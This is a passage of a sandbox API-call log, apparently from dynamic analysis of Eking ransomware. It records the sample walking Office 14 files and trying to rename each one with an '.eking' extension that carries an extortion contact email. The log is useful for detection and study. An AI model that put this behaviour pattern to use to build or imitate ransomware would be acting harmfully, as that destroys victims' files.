Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.500] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=537504) returned 1 [0169.500] CloseHandle (hObject=0x1ec) returned 1 [0169.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 0x20 [0169.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll")) returned 0x20 [0169.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.502] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=451480) returned 1 [0169.502] CloseHandle (hObject=0x1ec) returned 1 [0169.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 0x20 [0169.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll")) returned 0x20 [0169.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0169.504] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=55744) returned 1 [0169.504] CloseHandle (hObject=0x1ec) returned 1 [0169.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 0x20 [0169.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 0x20 [0169.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0169.873] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=502168) returned 1 [0169.873] CloseHandle (hObject=0x1c4) returned 1 [0169.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll")) returned 0x20 [0169.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll")) returned 0x20 [0169.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0169.875] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=385368) returned 1 [0169.875] CloseHandle (hObject=0x1c4) returned 1 [0169.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 0x20 [0169.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 0x20 [0169.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0169.877] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5072816) returned 1 [0169.877] CloseHandle (hObject=0x1c4) returned 1 [0169.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll")) returned 0x20 [0169.877] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0169.879] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll")) returned 0 [0169.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0169.880] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1784192) returned 1 [0169.880] CloseHandle (hObject=0x1c4) returned 1 [0169.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll")) returned 0x20 [0169.880] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0169.880] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll")) returned 0 [0169.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0169.881] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4297568) returned 1 [0169.881] CloseHandle (hObject=0x1c4) returned 1 [0169.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 0x20 [0169.881] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0169.881] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 0 [0169.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0169.882] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=518984) returned 1 [0169.882] CloseHandle (hObject=0x1c4) returned 1 [0169.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll")) returned 0x20 [0169.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll")) returned 0x20 [0169.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0169.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.115] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=138616) returned 1 [0170.115] CloseHandle (hObject=0x1ec) returned 1 [0170.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll")) returned 0x20 [0170.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll")) returned 0x20 [0170.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.120] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1349) returned 1 [0170.120] CloseHandle (hObject=0x1ec) returned 1 [0170.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20 [0170.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20 [0170.120] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.296] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=819) returned 1 [0170.296] CloseHandle (hObject=0x1ec) returned 1 [0170.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0170.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0170.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.297] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1565) returned 1 [0170.297] CloseHandle (hObject=0x1ec) returned 1 [0170.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0170.297] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0170.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.299] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2296) returned 1 [0170.299] CloseHandle (hObject=0x1ec) returned 1 [0170.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0170.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0170.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.303] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=913) returned 1 [0170.303] CloseHandle (hObject=0x1ec) returned 1 [0170.303] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0170.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 0x20 [0170.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.304] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0x80000000, 